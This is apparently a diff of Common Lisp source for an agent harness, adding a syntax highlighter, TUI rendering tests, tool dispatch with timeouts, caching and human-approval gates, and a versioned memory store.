(flet ((wordp (c) (or (alphanumericp c) (find c "-*+/?!_=<>"))))
|
||||
(loop
|
||||
(when (>= p l) (return))
|
||||
(let* ((ss (position #\" code :start p))
|
||||
(sc (position #\; code :start p))
|
||||
(sp (position #\( code :start p))
|
||||
(next (min (or ss l) (or sc l) (or sp l))))
|
||||
(when (> next p)
|
||||
(push (cons (subseq code p next) nil) r)
|
||||
(setf p next))
|
||||
(when (>= p l) (return))
|
||||
(cond
|
||||
((eql p ss)
|
||||
(let ((e (or (position #\" code :start (1+ p)) l)))
|
||||
(push (cons (subseq code p (min (1+ e) l)) '(:fgcolor :string)) r)
|
||||
(setf p (min (1+ e) l))))
|
||||
((eql p sc)
|
||||
(let ((e (or (position #\Newline code :start p) l)))
|
||||
(push (cons (subseq code p e) '(:fgcolor :comment)) r)
|
||||
(setf p e)))
|
||||
((eql p sp)
|
||||
(push (cons "(" nil) r)
|
||||
(incf p)
|
||||
(let ((fe (loop for i from p below l for c = (char code i)
|
||||
while (wordp c) finally (return i))))
|
||||
(when (> fe p)
|
||||
(let ((fs (subseq code p fe)))
|
||||
(push (cons fs (list :fgcolor (if (member fs kw :test #'string=)
|
||||
:keyword :function))) r)
|
||||
(setf p fe)))))))))
|
||||
(nreverse r)))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun gate-trace-lines (trace)
|
||||
"Convert gate-trace plist to display lines."
|
||||
(let ((lines nil))
|
||||
(dolist (entry trace)
|
||||
(let* ((gate (getf entry :gate))
|
||||
(result (getf entry :result))
|
||||
(reason (getf entry :reason))
|
||||
(name (or gate "unknown"))
|
||||
(color (case result
|
||||
(:passed :gate-passed)
|
||||
(:blocked :gate-blocked)
|
||||
(:approval :gate-approval)
|
||||
(t :dim)))
|
||||
(prefix (case result
|
||||
(:passed " \u2713 ")
|
||||
(:blocked " \u2717 ")
|
||||
(:approval " \u2192 ")
|
||||
(t " ? ")))
|
||||
(text (format nil "~a~a~@[~a~]~@[~a~]"
|
||||
prefix name
|
||||
(when reason (format nil ": ~a" reason))
|
||||
(if (eq result :approval) " (HITL required)" ""))))
|
||||
(push (cons text (list :fgcolor color)) lines)))
|
||||
(nreverse lines)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-tui-view-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:tui-view-suite))
|
||||
|
||||
(in-package :passepartout-tui-view-tests)
|
||||
|
||||
(def-suite tui-view-suite :description "TUI view rendering helpers")
|
||||
(in-suite tui-view-suite)
|
||||
|
||||
(test test-char-width-ascii
|
||||
"Contract 5: ASCII characters (< 128) have width 1."
|
||||
(is (= 1 (passepartout::char-width #\a)))
|
||||
(is (= 1 (passepartout::char-width #\Space)))
|
||||
(is (= 1 (passepartout::char-width #\@))))
|
||||
|
||||
(test test-char-width-tab
|
||||
"Contract 5: tab character has width 8."
|
||||
(is (= 8 (passepartout::char-width #\Tab))))
|
||||
|
||||
(test test-char-width-cjk
|
||||
"Contract 5: CJK characters have width 2."
|
||||
(is (= 2 (passepartout::char-width #\日))))
|
||||
|
||||
(test test-char-width-null
|
||||
"Contract 5: null has width 0."
|
||||
(is (= 0 (passepartout::char-width #\Nul))))
|
||||
|
||||
(test test-markdown-bold
|
||||
"Contract 7: parse-markdown-spans detects **bold**."
|
||||
(let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
|
||||
(is (= 3 (length segments)))))
|
||||
|
||||
(test test-markdown-plain
|
||||
"Contract 7: plain text returns single segment."
|
||||
(let ((segments (passepartout::parse-markdown-spans "plain")))
|
||||
(is (= 1 (length segments)))
|
||||
(is (string= "plain" (caar segments)))))
|
||||
|
||||
(test test-markdown-url
|
||||
"Contract 7: parse-markdown-spans detects URLs."
|
||||
(let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
|
||||
(is (>= (length segments) 2))
|
||||
(is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
|
||||
|
||||
(test test-markdown-blocks
|
||||
"Contract 8: parse-markdown-blocks detects code blocks."
|
||||
(let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
|
||||
(segs (passepartout::parse-markdown-blocks text)))
|
||||
(is (= 3 (length segs)))
|
||||
(let ((code (second segs)))
|
||||
(is (eq t (getf code :code-block)))
|
||||
(is (string= "lisp" (getf code :lang)))
|
||||
(is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
|
||||
|
||||
(test test-markdown-blocks-no-close
|
||||
"Contract 8: unclosed code block returns content."
|
||||
(let* ((text (format nil "```~%unclosed code"))
|
||||
(segs (passepartout::parse-markdown-blocks text)))
|
||||
(is (= 1 (length segs)))
|
||||
(is (eq t (getf (first segs) :code-block)))))
|
||||
|
||||
(test test-syntax-highlight
|
||||
"Contract 9: syntax-highlight colors Lisp code."
|
||||
(let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
|
||||
(is (>= (length segs) 3))))
|
||||
|
||||
(test test-syntax-highlight-keyword
|
||||
"Contract 9: syntax-highlight colors keywords."
|
||||
(let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
|
||||
(is (>= (length segs) 2))
|
||||
(is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
|
||||
|
||||
(test test-syntax-highlight-function
|
||||
"Contract 9: syntax-highlight colors function calls."
|
||||
(let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
|
||||
(is (>= (length segs) 2))
|
||||
(is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
|
||||
|
||||
(test test-gate-trace-lines-passed
|
||||
"Contract 9: gate-trace-lines for passed gate."
|
||||
(let ((lines (passepartout::gate-trace-lines
|
||||
'((:gate "path" :result :passed)))))
|
||||
(is (= 1 (length lines)))
|
||||
(is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
|
||||
|
||||
(test test-gate-trace-lines-blocked
|
||||
"Contract 9: gate-trace-lines for blocked gate."
|
||||
(let ((lines (passepartout::gate-trace-lines
|
||||
'((:gate "shell" :result :blocked :reason "rm")))))
|
||||
(is (= 1 (length lines)))
|
||||
(is (search "rm" (caar lines)))))
|
||||
|
||||
(test test-gate-trace-lines-approval
|
||||
"Contract 9: gate-trace-lines for approval gate."
|
||||
(let ((lines (passepartout::gate-trace-lines
|
||||
'((:gate "network" :result :approval)))))
|
||||
(is (= 1 (length lines)))
|
||||
(is (search "HITL" (caar lines)))))
|
||||
|
||||
(test test-init-state-has-collapsed-gates
|
||||
"Contract v0.7.2: init-state includes :collapsed-gates field."
|
||||
(passepartout.channel-tui::init-state)
|
||||
(let ((cg (passepartout.channel-tui::st :collapsed-gates)))
|
||||
(is (null cg))))
|
||||
371
lisp/core-act.lisp
Normal file
371
lisp/core-act.lisp
Normal file
@@ -0,0 +1,371 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *actuator-default* :cli
|
||||
"The actuator used when no explicit target is specified.")
|
||||
|
||||
(defvar *actuator-silent* '(:cli :system-message :emacs)
|
||||
"List of actuators that don't generate tool-output feedback.")
|
||||
|
||||
(defun actuator-initialize ()
|
||||
"Register core actuators and load configuration."
|
||||
(let ((def (uiop:getenv "DEFAULT_ACTUATOR"))
|
||||
(silent (uiop:getenv "SILENT_ACTUATORS")))
|
||||
(when def
|
||||
(setf *actuator-default* (intern (string-upcase def) :keyword)))
|
||||
(when silent
|
||||
(setf *actuator-silent*
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) :keyword))
|
||||
(uiop:split-string silent :separator '(#\,))))))
|
||||
|
||||
(register-actuator :system #'action-system-execute)
|
||||
(register-actuator :tool #'action-tool-execute)
|
||||
|
||||
(register-actuator :tui (lambda (action context)
|
||||
(declare (ignore context))
|
||||
(let* ((meta (getf action :meta))
|
||||
(stream (getf meta :reply-stream)))
|
||||
(when (and stream (open-stream-p stream))
|
||||
;; Enrich response with differentiator visualization data
|
||||
(setf (getf (getf action :payload) :rule-count)
|
||||
(if (boundp '*hitl-pending*)
|
||||
(hash-table-count *hitl-pending*)
|
||||
0))
|
||||
(setf (getf (getf action :payload) :foveal-id)
|
||||
(getf context :foveal-id))
|
||||
;; v0.8.0: sidebar enrichment via fboundp guards
|
||||
(when (fboundp 'dispatcher-block-counts-summary)
|
||||
(setf (getf (getf action :payload) :block-counts)
|
||||
(dispatcher-block-counts-summary)))
|
||||
(when (fboundp 'context-usage-percentage)
|
||||
(setf (getf (getf action :payload) :context-usage)
|
||||
(context-usage-percentage)))
|
||||
(when (fboundp 'tool-modified-files-summary)
|
||||
(setf (getf (getf action :payload) :modified-files)
|
||||
(tool-modified-files-summary)))
|
||||
(when (fboundp 'cost-session-summary)
|
||||
(setf (getf (getf action :payload) :session-cost)
|
||||
(cost-session-summary)))
|
||||
(format stream "~a" (frame-message action))
|
||||
(finish-output stream))))))
|
||||
|
||||
(defun action-dispatch (action context)
|
||||
"Route an approved action to its registered actuator."
|
||||
(let ((payload (proto-get action :payload)))
|
||||
(when (eq (proto-get payload :sensor) :heartbeat)
|
||||
(return-from action-dispatch nil))
|
||||
|
||||
(when (and action (listp action))
|
||||
(let* ((meta (proto-get context :meta))
|
||||
(source (proto-get meta :source))
|
||||
(raw-target (or (proto-get action :target) source *actuator-default*))
|
||||
(target (intern (string-upcase (string raw-target)) :keyword))
|
||||
;; If target is :SYSTEM and we have a live reply-stream, route to :TUI instead
|
||||
(actual-target (if (and (eq target :system)
|
||||
(getf meta :reply-stream)
|
||||
(ignore-errors (open-stream-p (getf meta :reply-stream))))
|
||||
:tui
|
||||
target))
|
||||
(actuator-fn (gethash actual-target *actuator-registry*)))
|
||||
(when (and meta (null (getf action :meta)))
|
||||
(setf (getf action :meta) meta))
|
||||
(if actuator-fn
|
||||
(funcall actuator-fn action context)
|
||||
(log-message "ACT ERROR: No actuator registered for '~s'" actual-target))))))
|
||||
|
||||
(defun action-system-execute (action context)
|
||||
"Execute internal harness commands."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(cmd (getf payload :action)))
|
||||
(case cmd
|
||||
(:eval
|
||||
(eval (let ((*read-eval* nil)) (read-from-string (getf payload :code)))))
|
||||
(:message
|
||||
(log-message "ACT [System]: ~a" (getf payload :text)))
|
||||
(t
|
||||
(log-message "ACT ERROR [System]: Unknown command '~s'" cmd)))))
|
||||
|
||||
(defun action-tool-execute (action context)
|
||||
"Execute a registered cognitive tool."
|
||||
(let* ((payload (getf action :payload))
|
||||
(tool-name (getf payload :tool))
|
||||
(tool-args (getf payload :args))
|
||||
(depth (getf context :depth 0))
|
||||
(meta (getf context :meta))
|
||||
(source (getf meta :source))
|
||||
(tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
|
||||
;; v0.7.2: snapshot before destructive tool execution
|
||||
(when (and tool (not (cognitive-tool-read-only-p tool)))
|
||||
(undo-snapshot))
|
||||
(if tool
|
||||
(handler-case
|
||||
(let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
|
||||
(is-read-only (cognitive-tool-read-only-p tool))
|
||||
(cache-key (when is-read-only (tool-cache-key tool-name clean-args)))
|
||||
(cached (when cache-key (gethash cache-key *tool-cache*)))
|
||||
(raw-result (if cached
|
||||
(progn (log-message "TOOL-CACHE: hit for ~a" tool-name) cached)
|
||||
(let* ((res (call-with-tool-timeout tool-name
|
||||
(lambda () (funcall (cognitive-tool-body tool) clean-args)))))
|
||||
(when (and is-read-only cache-key)
|
||||
(setf (gethash cache-key *tool-cache*) res))
|
||||
res))))
|
||||
;; Timeout: propagate error
|
||||
(when (and (listp raw-result) (eq (getf raw-result :status) :error))
|
||||
(return-from action-tool-execute
|
||||
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
|
||||
:PAYLOAD (list :SENSOR :tool-error :TOOL tool-name
|
||||
:MESSAGE (getf raw-result :message)))))
|
||||
(when source
|
||||
(action-dispatch (list :TYPE :REQUEST :TARGET source
|
||||
:PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name raw-result)))
|
||||
context))
|
||||
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
|
||||
:PAYLOAD (list :SENSOR :tool-output :RESULT raw-result :TOOL tool-name)))
|
||||
(error (c)
|
||||
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
|
||||
:PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c)))))
|
||||
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
|
||||
:PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
|
||||
|
||||
(defvar *tool-timeouts* (make-hash-table :test 'equal)
|
||||
"Per-tool timeout in seconds. Default 120s.")
|
||||
|
||||
;; Defaults: shell=300s, search-files=30s, eval-form=10s
|
||||
(setf (gethash "shell" *tool-timeouts*) 300)
|
||||
(setf (gethash "search-files" *tool-timeouts*) 30)
|
||||
(setf (gethash "eval-form" *tool-timeouts*) 10)
|
||||
|
||||
(defun tool-timeout (tool-name)
|
||||
"Return timeout for tool-name, default 120 seconds."
|
||||
(gethash (string-downcase (string tool-name)) *tool-timeouts* 120))
|
||||
|
||||
(defun call-with-tool-timeout (tool-name fn)
|
||||
"Execute FN within the timeout for TOOL-NAME.
|
||||
On timeout, returns (:status :error :message ...)."
|
||||
(let ((timeout (tool-timeout tool-name)))
|
||||
(handler-case
|
||||
(sb-ext:with-timeout timeout
|
||||
(funcall fn))
|
||||
(sb-ext:timeout (c)
|
||||
(declare (ignore c))
|
||||
(list :status :error :message
|
||||
(format nil "Timed out after ~a second~:p" timeout))))))
|
||||
|
||||
(defun verify-write (filepath expected-content)
|
||||
"Verify that FILEPATH contains EXPECTED-CONTENT after write.
|
||||
Returns T on match, logs and returns NIL on mismatch or read error."
|
||||
(handler-case
|
||||
(let ((actual (uiop:read-file-string filepath)))
|
||||
(if (string= expected-content actual)
|
||||
t
|
||||
(progn
|
||||
(log-message "WRITE-VERIFY: Mismatch in ~a" filepath)
|
||||
nil)))
|
||||
(error (c)
|
||||
(log-message "WRITE-VERIFY: Cannot read ~a: ~a" filepath c)
|
||||
nil)))
|
||||
|
||||
;; v0.7.2: read-only tool response cache
|
||||
(defvar *tool-cache* (make-hash-table :test 'equal)
|
||||
"Cache for read-only tool results. Key: tool-name$sxhash-args. Cleared per session.")
|
||||
|
||||
(defun tool-cache-key (tool-name args)
|
||||
"Build a cache key from TOOL-NAME and ARGS."
|
||||
(format nil "~a$~a" (string-downcase (string tool-name)) (sxhash args)))
|
||||
|
||||
(defun tool-cache-clear ()
|
||||
"Clear the read-only tool response cache."
|
||||
(clrhash *tool-cache*))
|
||||
|
||||
(defun tool-result-format (tool-name result)
|
||||
"Format a tool result for display."
|
||||
(if (listp result)
|
||||
(let ((status (getf result :status))
|
||||
(content (getf result :content))
|
||||
(msg (getf result :message)))
|
||||
(cond
|
||||
((and (eq status :success) content) (format nil "~a" content))
|
||||
((and (eq status :error) msg) (format nil "ERROR [~a]: ~a" tool-name msg))
|
||||
(t (format nil "TOOL [~a] RESULT: ~s" tool-name result))))
|
||||
(format nil "TOOL [~a] RESULT: ~a" tool-name result)))
|
||||
|
||||
(defun loop-gate-act (signal)
|
||||
"Final stage of the metabolic pipeline: Actuation.
|
||||
For approval-required actions, creates a Flight Plan instead of executing."
|
||||
(let* ((approved (getf signal :approved-action))
|
||||
(signal-status (getf signal :status))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(source (getf meta :source))
|
||||
(feedback nil))
|
||||
;; HITL: if the approved action requires human approval,
|
||||
;; create a Flight Plan (Emacs) and HITL entry (all gateways).
|
||||
(when (and approved
|
||||
(eq (getf approved :level) :approval-required))
|
||||
(let* ((payload (getf approved :payload))
|
||||
(blocked-action (getf payload :action))
|
||||
(hitl (hitl-create blocked-action)))
|
||||
(log-message "ACT: Action requires approval — creating Flight Plan + HITL (~a)" (getf hitl :token))
|
||||
(dispatcher-flight-plan-create blocked-action)
|
||||
(setf (getf signal :status) :suspended)
|
||||
(action-dispatch (list :target source
|
||||
:payload (list :text (getf hitl :message)))
|
||||
signal)
|
||||
(setf approved nil)
|
||||
(setf feedback nil)))
|
||||
(when approved
|
||||
(let* ((original-type (getf approved :type))
|
||||
(verified (cognitive-verify approved signal)))
|
||||
(if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT))
|
||||
(not (eq (getf verified :level) :approval-required))
|
||||
(not (member original-type '(:LOG :EVENT))))
|
||||
(progn
|
||||
(log-message "ACT BLOCKED: Action failed last-mile deterministic check.")
|
||||
(setf (getf signal :approved-action) nil)
|
||||
(setf feedback verified))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf approved verified)))))
|
||||
|
||||
(case type
|
||||
(:REQUEST (action-dispatch signal signal))
|
||||
(:LOG (action-dispatch signal signal))
|
||||
(:EVENT
|
||||
(if approved
|
||||
(let* ((target (getf approved :target))
|
||||
(result (action-dispatch approved signal)))
|
||||
(cond
|
||||
((and (listp result) (member (getf result :type) '(:EVENT :LOG)))
|
||||
(setf feedback result))
|
||||
((and result (not (member target *actuator-silent*)))
|
||||
(setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) :meta meta
|
||||
:payload (list :sensor :tool-output :result result :tool approved))))))
|
||||
(when source (action-dispatch signal signal)))))
|
||||
(setf (getf signal :status) :acted)
|
||||
feedback))
|
||||
|
||||
(defun act-gate (signal)
|
||||
(loop-gate-act signal))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-pipeline-act-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:pipeline-act-suite))
|
||||
|
||||
(in-package :passepartout-pipeline-act-tests)
|
||||
|
||||
(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
|
||||
(in-suite pipeline-act-suite)
|
||||
|
||||
(test test-loop-gate-act-basic
|
||||
"Contract 1: approved action reaches :acted status via loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
|
||||
(result (loop-gate-act signal)))
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-loop-gate-act-no-approved-action
|
||||
"Contract 1: signal with no approved-action still reaches :acted status."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0)))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))))
|
||||
|
||||
(test test-loop-gate-act-last-mile-reject
|
||||
"Contract 1: last-mile cognitive-verify rejection blocks approved-action."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout::defskill :mock-blocker
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore ctx action))
|
||||
(list :type :LOG :payload (list :text "Last-mile block"))))
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0
|
||||
:approved-action '(:type :REQUEST :target :cli :payload (:text "blocked")))))
|
||||
(loop-gate-act signal)
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null (getf signal :approved-action)))))
|
||||
|
||||
(test test-loop-gate-act-preserves-meta
|
||||
"Contract 1: signal metadata is not mutated by loop-gate-act."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((meta '(:source :tui :session "s1"))
|
||||
(signal (list :type :EVENT :status nil :depth 0 :meta meta
|
||||
:approved-action '(:target :cli :payload (:text "test")))))
|
||||
(loop-gate-act signal)
|
||||
(is (equal meta (getf signal :meta)))))
|
||||
|
||||
(test test-action-dispatch-routes
|
||||
"Contract 3: action-dispatch routes to registered actuators without crashing."
|
||||
(actuator-initialize)
|
||||
(let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
|
||||
'(:type :EVENT :depth 0))))
|
||||
(is (numberp result) "eval should return a number")))
|
||||
|
||||
(test test-tool-timeout-shell
|
||||
"Contract v0.7.2: shell timeout is 300 seconds."
|
||||
(is (= 300 (passepartout::tool-timeout "shell"))))
|
||||
|
||||
(test test-tool-timeout-unknown
|
||||
"Contract v0.7.2: unknown tool gets default 120s."
|
||||
(is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
|
||||
|
||||
(test test-verify-write-match
|
||||
"Contract v0.7.2: verify-write returns T on match."
|
||||
(let ((path "/tmp/passepartout-verify-test.org")
|
||||
(content "test content"))
|
||||
(with-open-file (f path :direction :output :if-exists :supersede)
|
||||
(write-string content f))
|
||||
(unwind-protect
|
||||
(is (passepartout::verify-write path content))
|
||||
(ignore-errors (delete-file path)))))
|
||||
|
||||
(test test-tool-timeout-enforcement
|
||||
"Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
|
||||
(setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
|
||||
(setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "sleep-forever"
|
||||
:read-only-p nil
|
||||
:body (lambda (args)
|
||||
(declare (ignore args))
|
||||
(sleep 10)
|
||||
"done")))
|
||||
(unwind-protect
|
||||
(let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
|
||||
(ctx '(:depth 0))
|
||||
(result (passepartout::action-tool-execute action ctx)))
|
||||
(is (eq :EVENT (getf result :TYPE)))
|
||||
(let ((payload (getf result :PAYLOAD)))
|
||||
(is (eq :tool-error (getf payload :SENSOR)))
|
||||
(is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
|
||||
(remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
|
||||
(remhash "sleep-forever" passepartout::*tool-timeouts*)))
|
||||
|
||||
(test test-tool-cache-read-only
|
||||
"Contract v0.7.2: read-only tool results are cached and reused."
|
||||
(let ((call-count 0))
|
||||
(setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "cache-test"
|
||||
:read-only-p t
|
||||
:body (lambda (args)
|
||||
(declare (ignore args))
|
||||
(incf call-count)
|
||||
(list :status :success :content (format nil "call ~d" call-count)))))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(clrhash passepartout::*tool-cache*)
|
||||
(let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
|
||||
(ctx '(:depth 0))
|
||||
(r1 (passepartout::action-tool-execute action ctx))
|
||||
(r2 (passepartout::action-tool-execute action ctx)))
|
||||
(is (= 1 call-count) "Second call should hit cache, not re-execute")
|
||||
(let ((p1 (getf r1 :PAYLOAD))
|
||||
(p2 (getf r2 :PAYLOAD)))
|
||||
(is (string= (getf (getf p1 :RESULT) :CONTENT)
|
||||
(getf (getf p2 :RESULT) :CONTENT))))))
|
||||
(remhash "cache-test" passepartout::*cognitive-tool-registry*)
|
||||
(clrhash passepartout::*tool-cache*))))
|
||||
351
lisp/core-memory.lisp
Normal file
351
lisp/core-memory.lisp
Normal file
@@ -0,0 +1,351 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *memory-store* (make-hash-table :test 'equal))
|
||||
|
||||
(defvar *memory-history* (make-hash-table :test 'equal)
|
||||
"Immutable Merkle-Tree versioning store mapping hashes to objects.")
|
||||
|
||||
(defun memory-object-get (id)
|
||||
"Retrieves an memory-object by ID from *memory-store*."
|
||||
(gethash id *memory-store*))
|
||||
|
||||
(defun memory-objects-by-attribute (attr value)
|
||||
"Returns all memory-objects whose :ATTRIBUTES plist has ATTR = VALUE."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(when (equal (getf (memory-object-attributes obj) attr) value)
|
||||
(push obj results)))
|
||||
*memory-store*)
|
||||
(nreverse results)))
|
||||
|
||||
(defun memory-id-generate ()
|
||||
"Generates a UUIDv4 unique ID. Compatible with Agora Note UUIDs."
|
||||
(concatenate 'string "id-" (string-downcase (format nil "~a" (uuid:make-v4-uuid)))))
|
||||
|
||||
(defstruct memory-object
|
||||
id type attributes content vector parent-id children version last-sync hash scope)
|
||||
|
||||
(defmethod make-load-form ((obj memory-object) &optional env)
|
||||
(make-load-form-saving-slots obj :environment env))
|
||||
|
||||
(defun deep-copy-memory-object (obj)
|
||||
"Creates a full copy of an memory-object, including fresh lists for attributes and children."
|
||||
(make-memory-object :id (memory-object-id obj)
|
||||
:type (memory-object-type obj)
|
||||
:attributes (copy-list (memory-object-attributes obj))
|
||||
:content (memory-object-content obj)
|
||||
:vector (memory-object-vector obj)
|
||||
:parent-id (memory-object-parent-id obj)
|
||||
:children (copy-list (memory-object-children obj))
|
||||
:version (memory-object-version obj)
|
||||
:last-sync (memory-object-last-sync obj)
|
||||
:hash (memory-object-hash obj)
|
||||
:scope (memory-object-scope obj)))
|
||||
|
||||
(defun memory-merkle-hash (id type attributes content child-hashes)
|
||||
(let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v)))
|
||||
(sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x)))))
|
||||
(attr-string (format nil "~s" sorted-alist))
|
||||
(children-string (format nil "~{~a~}" child-hashes))
|
||||
(data-string (format nil "ID:~a|TYPE:~s|ATTRS:~a|CONTENT:~a|CHILDREN:~a"
|
||||
id type attr-string (or content "") children-string))
|
||||
(digester (ironclad:make-digest :sha256)))
|
||||
(ironclad:update-digest digester (ironclad:ascii-string-to-byte-array data-string))
|
||||
(ironclad:byte-array-to-hex-string (ironclad:produce-digest digester))))
|
||||
|
||||
(defun ingest-ast (ast &key parent-id (scope :memex))
|
||||
(let* ((type (getf ast :type))
|
||||
(props (getf ast :properties))
|
||||
(id (or (getf props :ID) (format nil "temp-~a" (get-universal-time))))
|
||||
(contents (getf ast :contents))
|
||||
(raw-content (when (eq type :HEADLINE)
|
||||
(format nil "~a~%~a" (getf props :TITLE) (or (getf ast :raw-content) ""))))
|
||||
(child-ids nil) (child-hashes nil))
|
||||
(dolist (child contents)
|
||||
(when (listp child)
|
||||
(let ((child-id (ingest-ast child :parent-id id :scope scope)))
|
||||
(push child-id child-ids)
|
||||
(let ((child-obj (gethash child-id *memory-store*)))
|
||||
(when child-obj (push (memory-object-hash child-obj) child-hashes))))))
|
||||
(setf child-ids (nreverse child-ids))
|
||||
(setf child-hashes (nreverse child-hashes))
|
||||
(let* ((hash (memory-merkle-hash id type props raw-content child-hashes))
|
||||
(existing-obj (gethash hash *memory-history*))
|
||||
(obj (or existing-obj
|
||||
(make-memory-object
|
||||
:id id :type type :attributes props :content raw-content
|
||||
:parent-id parent-id :children child-ids
|
||||
:version (get-universal-time) :last-sync (get-universal-time)
|
||||
:hash hash :scope scope))))
|
||||
(unless existing-obj (setf (gethash hash *memory-history*) obj))
|
||||
(setf (gethash id *memory-store*) obj)
|
||||
;; Populate embedding vector for new objects
|
||||
(when (and raw-content (not existing-obj) (not (memory-object-vector obj)))
|
||||
(handler-case
|
||||
(setf (memory-object-vector obj)
|
||||
(embeddings-compute raw-content))
|
||||
(error (c)
|
||||
(log-message "INGEST: Embedding deferred: ~a" c))))
|
||||
id)))
|
||||
|
||||
(defvar *memory-snapshots* nil)
|
||||
|
||||
(defun memory-hash-table-copy (hash-table)
|
||||
"Creates an independent copy of a hash table."
|
||||
(let ((new-table (make-hash-table :test (hash-table-test hash-table)
|
||||
:size (hash-table-size hash-table))))
|
||||
(maphash (lambda (k v) (setf (gethash k new-table) v)) hash-table)
|
||||
new-table))
|
||||
|
||||
(defun snapshot-memory ()
|
||||
"Creates a CoW snapshot of *memory-store* for rollback recovery."
|
||||
(let ((snapshot (make-hash-table :test 'equal :size (hash-table-size *memory-store*))))
|
||||
(maphash (lambda (k v) (setf (gethash k snapshot) (deep-copy-memory-object v))) *memory-store*)
|
||||
(push (list :timestamp (get-universal-time) :data snapshot) *memory-snapshots*)
|
||||
(when (> (length *memory-snapshots*) 20)
|
||||
(setf *memory-snapshots* (subseq *memory-snapshots* 0 20)))
|
||||
(log-message "MEMORY - CoW Memory snapshot created.")))
|
||||
|
||||
(defun rollback-memory (&optional (index 0))
|
||||
"Restores *memory-store* from a snapshot. INDEX 0 = most recent."
|
||||
(let ((snapshot (nth index *memory-snapshots*)))
|
||||
(if snapshot
|
||||
(progn (setf *memory-store* (memory-hash-table-copy (getf snapshot :data)))
|
||||
(log-message "MEMORY - Memory rolled back to snapshot ~a" index))
|
||||
(log-message "MEMORY ERROR - Snapshot ~a not found." index))))
|
||||
|
||||
(defvar *memory-snapshot-path* nil)
|
||||
|
||||
(defun memory-snapshot-path-ensure ()
|
||||
"Returns the path to the memory snapshot file, resolving env or default."
|
||||
(or *memory-snapshot-path*
|
||||
(let ((env-path (uiop:getenv "MEMORY_SNAPSHOT_PATH")))
|
||||
(setf *memory-snapshot-path*
|
||||
(or env-path (namestring (uiop:merge-pathnames* "memory.snap" (user-homedir-pathname))))))))
|
||||
|
||||
(defun save-memory-to-disk ()
|
||||
"Writes the entire memory and history store to disk as a plist."
|
||||
(let ((path (memory-snapshot-path-ensure)))
|
||||
(with-open-file (stream path :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(let ((memory-alist nil) (history-alist nil))
|
||||
(maphash (lambda (k v) (push (cons k v) memory-alist)) *memory-store*)
|
||||
(maphash (lambda (k v) (push (cons k v) history-alist)) *memory-history*)
|
||||
(prin1 (list :memory memory-alist :history-store history-alist) stream)))
|
||||
